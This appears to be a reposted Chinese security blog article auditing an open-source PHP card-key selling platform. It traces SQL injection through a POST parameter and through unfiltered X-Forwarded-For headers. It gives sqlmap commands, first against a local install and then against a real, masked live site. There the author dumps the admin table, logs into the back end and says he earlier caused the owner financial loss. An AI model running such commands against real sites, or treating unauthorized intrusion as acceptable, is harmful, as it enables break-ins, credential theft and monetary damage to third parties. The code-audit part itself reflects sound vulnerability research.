37

对自助提卡系统的一次代码审计

 5 years ago
source link: http://www.freebuf.com/vuls/178744.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

并非有意愿要审计该站,前面的走的黑盒没有过于精彩部分就不在贴上了,对于此系统站你们懂的,多说无益,这套程序是开源的,像这种自助提卡系统相信大家已经不在陌生了,很多违法网站通过这种平台方式提卡密的相当于购买邀请码,源码是小伙伴提供的,采用的是php+mysql进行开发的24小时自动售卡平台,废话就不多说了。

相关环境

源码信息: 你猜啊

漏洞类型: Forwarded-For注入

搭建成功之后如下 :

看到如下页面是不是有似曾相识的感受:

6fQfM3i.jpg!web

上图是安装过后的首页,就是一个提卡网,继续吧!

uAvY7bu.jpg!web

这是首页文件,进去首先判断了install目录下的lock文件是否不存在并且判断是否有index.php文件,如果满足以上条件就跳转到install目录下的index.php,我们跟进install/index.php文件:

7Ffmya3.jpg!web

7ve6nyA.jpg!web

这里我们只看判断是否安装过程序,判断是否存在lock文件并且step不等于5的情况下就执行判断语句中的代码,当然这里如果header函数后没有exit就会存在重装漏洞。

我们接着看index.php,光是index.php文件就用413行代码,代码都不规范,所以我们先看看其它文件,看看api.php文件:

aa2EvmR.jpg!web

这里很明显我们看到了SQL注入,首先判断是否设置了$_POST[“dh”]再判断$_POST[“dh”]不为空则将该参数拼接到SQL语句中,看到这里就可以判断出该程序存在联合查询注入,可是$config哪来的,这个文件也没包含其它的文件啊!!!怎么办呢?那么我们就来找找index文件中是否包含了api.php,search一下

FBjmeeI.jpg!web

可以看到在294行这里包含了api.php文件,我们构造下放入sqlmap中玩一玩。

Python sqlmap.py -u “http://localhost:8081/index.php” --batch --dbms=”mysql” --data=”dh=a”

7r6vQzq.jpg!web

这里可以看到注入类型确实是联合查询,我们接着尝试下这个提卡网是否存在SQL注入。

Python sqlmap.py -u "http://lxxxxx.pw/index.php" --batch --dbms="mysql" --data="dh=a"

zUnqAfA.jpg!web

我们尝试本地站点的时候毫无问题,为什么这个提卡网就没有存在这个问题了呢?很明显这个网站可能是升级或者二开发过的,我们接着看看其它点,进入./pay/pay.php文件:

AfuiYvz.jpg!webaU7j6nJ.jpg!webJZBVJbE.jpg!webBvQFrqe.jpg!webv6JNzqQ.jpg!web

代码过多就不一一贴图出来了,主要构成漏洞的代码就在这其中,我们从38行开始看着走。

这里判断$_GET[“type”]等于delete的时候则执行40-49行的代码,41将获取到的ip拼接到sql语句中,我们看看ip函数:

yYrqymI.jpg!webuqmYFvY.jpg!web

这里可以看到程序获取ip可以从客户端的头参数中获取,分别为HTTP_X_FORWARDED_FOR,HTTP_CLIENT_IP,这个函数真的仅仅是获取外部传递的参数的,一点也没有过滤,我们看到了这里就可以嘿嘿了,基本上这个网站拿下了,我们接着看看,回到41行,再看下边的,我们不宜在这里进行SQL注入,因为接着会将查询到的值又进行下一个SQL语句的拼接,这样返回值就不准确,用工具的过程就很难判断了,我们跳出这里的判断,看看51-54行分别判断了$_GET['type'],$_GET['money'],$_GET['title'],$_GET['pwd']这几个参数存不存在,所以我们这里可以这样构造get参数:

type=a&money=1&title=adssad&pwd=123

我们接着看下边的,第58-65行,首先是判断了type是否等于zfb,若不等于则退出当前程序并打印Tip:Type error!,所以我们还得接着改改get参数:

type=zfb&money=1&title=adssad&pwd=123

接下来,可以看到67行中再次将获取到的ip拼接到了SQL语句中,我们这样来,在67行的下边打印出当前执行的SQL语句

aIZnInM.jpg!web

好了,现在我们打开burp进行抓包,然后伪造ip进行一系列的嘿嘿了,因为./pay/index.php中包含了pay.php,所以我们对index.php进行注入就好

复现

访问 http://localhost:8081/pay/index.php?type=zfb&money=1&title=adssad&pwd=123 ,付款码页面:

FzUbAzB.jpg!web 可以看到这是一个很正常的页面了,并且打印出了SQL语句,我们抓包:

vAjyMrQ.jpg!webQNjIZn7.jpg!web 正常页面:

ZRFfqyU.jpg!web 错误页面: jqAFvaq.jpg!web

好的,现在看到了吧!我们放到SQLmap中跑一下看看,我们将这个数据包保存到文本中,并且标注注入位置:X-Forwarded-For这个注入还自带绕过waf功能,因为很多waf不会检测hander参数。

UJVRjmu.jpg!web

Python sqlmap.py -r test.txt --batch --dbms="mysql"

2IFv6jU.jpg!web

我们对那个网站测试一番,访问: http://lxxxx.pw/pay/index.php?type=zfb&money=1&title=adssad&pwd=123

NvU3yif.jpg!web

可以看到缺少 “spid” 参数我们加上继续访问,页面是支付宝扫码支付 – -RL吧论坛邀请码:

http://llxxxxx.pw/pay/index.php?type=zfb&money=1&title=adssad&pwd=123&spid=1

rmMruej.jpg!web

把该数据放到文本中,接着进行测试:

byUbiiR.jpg!web

Python sqlmap.py -r test.txt --batch --dbms="mysql"

EJvEFfM.jpg!web 成功挖掘到了该网站的漏洞,继续。

yyaMjyN.jpg!web

Python sqlmap.py -r test.txt --batch -D yulinxscom --tables

yqeaa2a.jpg!web

Python sqlmap.py -r test.txt --batch -D yulinxscom -T admin --dump

FbYFbmJ.jpg!web

拿到了管理账号及密码。接着访问。

*本文原创作者:XXX,本文属FreeBuf原创奖励计划,未经许可禁止转载 默认后台: http://lxxxx.pw/admin.php

m2eUbuF.jpg!web

由于之前进去过一次,让他亏损了点钱,现在后台的名字也改了 。

写在结尾

跟此网站的搭建人聊了会,从去年11月份搭建平台以来已获利普通人一年的薪资。为了养家糊口,冒此风险也是不容易,切勿为了蝇头小利以身试法,就这样做个记录,到此为止吧。

文中提及技术细节,仅作交流,请勿用于非法活动!!

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK